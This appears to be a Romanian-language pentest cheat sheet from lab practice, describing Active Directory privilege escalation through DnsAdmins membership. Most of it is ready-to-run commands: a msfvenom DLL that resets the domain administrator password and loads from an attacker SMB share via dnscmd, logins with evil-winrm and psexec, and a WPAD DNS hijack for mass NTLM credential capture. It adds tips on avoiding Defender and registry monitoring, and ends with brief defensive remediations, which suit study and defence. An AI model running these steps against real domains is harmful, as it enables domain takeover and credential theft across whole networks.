1. Confirmă apartenența la grup
whoami /groups # MEGABANK\DnsAdmins
net user ryan /domain # vezi grupurile
nxc ldap DC -u ryan -p 'pass' --groups 'DnsAdmins'
2. Generează DLL-ul (one-shot — schimbă parola adminului)
msfvenom -p windows/x64/exec cmd="net user administrator P@s5w0rd123! /domain" -f dll -o da.dll
- Payload x64 (dns.exe e pe 64 de biți)
- One-shot
net user= recomandat: rulează înainte ca procesul să pice - Pentru shell: preferă
exec(spawn proces separat) — meterpreter staged moare cu dns.exe
3. Hostează DLL-ul remote (eviți discul victimei / Defender)
smbserver.py share ./ -smb2support # din folderul cu da.dll
4. Înregistrează plugin-ul + restart DNS
cmd /c "dnscmd localhost /config /serverlevelplugindll \\10.10.15.75\share\da.dll"
cmd /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll" # VERIFICĂ!
cmd /c "sc.exe stop dns"
cmd /c "sc.exe start dns"
5. Login ca administrator
evil-winrm -i IP -u administrator -p 'P@s5w0rd123!' # (Pwn3d!)
psexec.py megabank.local/administrator@IP
6. Cleanup (obligatoriu după execuție)
reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /f
sc.exe query dns # să fie RUNNING
⚠️ Capcane (din practică)
| Capcană | Detaliu |
|---|---|
| Path RELATIV ❌ | dnscmd ... /serverlevelplugindll da.dll scrie
da.dll în registry → DNS-ul nu poate încărca →
execuție silențioasă zero. Trebuie path
absolut (C:\Windows\Temp\da.dll) sau
UNC (\\IP\share\da.dll) |
| Exporturi lipsă | DLL-ul msfvenom n-are DnsPluginInitialize/Query/Cleanup
→ dns.exe crapă după DllMain. OK pentru one-shot, prost
pt shell-uri in-proces |
| smbserver oprit | Share-ul trebuie să asculte înainte de restart-ul DNS |
| Crash-loop | Dacă lași valoarea setată spre un share mort, DNS-ul poate intra în restart-loop la fiecare pornire |
| DoS pe domeniu | Restart DNS pe DC real = întrerupere rezoluție pt tot domeniul (zgomotos — folosește cu cap) |
🔍 Verificare rapidă înainte de restart (economisește timp)
reg query HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
Dacă vezi da.dll (relativ) în loc de C:\...
sau \\IP\..., nu mai pierde timp cu restart-uri.
🎯 WPAD hijack — alternativa SUPERIOARĂ (fără restart, fără crash)
Problema cu DLL-ul: membrii DnsAdmins pot încărca un DLL pe DC, dar nu au dreptul să restarteze serviciul DNS. Încărcarea plugin-ului oricum crapă serviciul → e utilă mai mult ca persistență (aștepți un reboot), nu ca execuție imediată.
Metoda mai bună: în loc să încarci un DLL,
dezactivezi Global Query Block List și creezi o înregistrare
WPAD (wpad.<domeniu> → IP-ul tău).
Rezultatul: toate stațiile cu WPAD activat (setare implicită) își trimit
traficul de proxy discovery prin mașina ta → capturezi
credențiale NTLM în masă, ca pe vremea de dinainte de
MS16-077.
# 1. Dezactivează blocklist-ul global (blochează implicit rezolvarea wpAD/isatap)
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc.htb.local
# 2. Creează înregistrarea WPAD → IP-ul tău de atacator
Add-DnsServerResourceRecordA -Name wpad -ZoneName htb.local -ComputerName dc.htb.local -IPv4Address 10.0.0.7
# 3. Pornește listener-ul (captură NTLM / proxy auth)
# ex: Responder sau un proxy WPAD (ntlmrelayx --wpad / mitm6 style)
De ce e mai bună:
- ✅ Zero restart — nu atingi serviciul DNS, deci nu-l crashezi și nu întrerupi rezoluția pentru tot domeniul
- ✅ Silențioasă — nu scrie în
ServerLevelPluginDll, deci nu declanșează monitorizarea pe cheia aia de registry - ✅ Randament real — nu execuți cod direct, dar
captezi hashes/credențiale de la TOATE stațiile din
domeniu (unii down-gradează la NTLMv1 cu
LmCompatibilityLevel) - ✅ Persistență naturală — DNS-ul e interogat constant de fiecare client
Capcane WPAD:
GlobalQueryBlockListe ON by default → trebuie dezactivat întâi, altfel înregistrarea nu se rezolvă- Se activează pentru WPAD + isatap (aceeași listă) — ai grija ce declanșezi
- DNS-ul e cached pe clienți → efectul apare după expirarea TTL-ului / re-query
- Poți fi detectat ușor cu
Get-DnsServerGlobalQueryBlockList/ verificarea înregistrărilor nou-create
Cleanup: re-activează blocklist-ul + șterge înregistrarea WPAD:
Set-DnsServerGlobalQueryBlockList -Enable $true -ComputerName dc.htb.local
Remove-DnsServerResourceRecord -Name wpad -ZoneName htb.local -RRType A -ComputerName dc.htb.local -Force
🛡️ Alternative / remedieri (blue team)
- Restricționează cine e în DnsAdmins
- Monitorizează valoarea
HKLM\...\Services\DNS\Parameters\ServerLevelPluginDll - Versiuni noi de Windows Server au început să ceară plugin DLL-uri semnate / path în System32
- Monitorizează
GlobalQueryBlockList(dezactivarea e un indicator WPAD clear) + înregistrările DNS noi de tipwpad/isatap - Dezactivează WPAD pe stații (GPO: „Wpad settings" /
DefaultConnectionSettings) și forțează autentificarea doar-după-negociere (MS16-077):AuthForwardServerList+BlockNonAdminAccessToWebDAV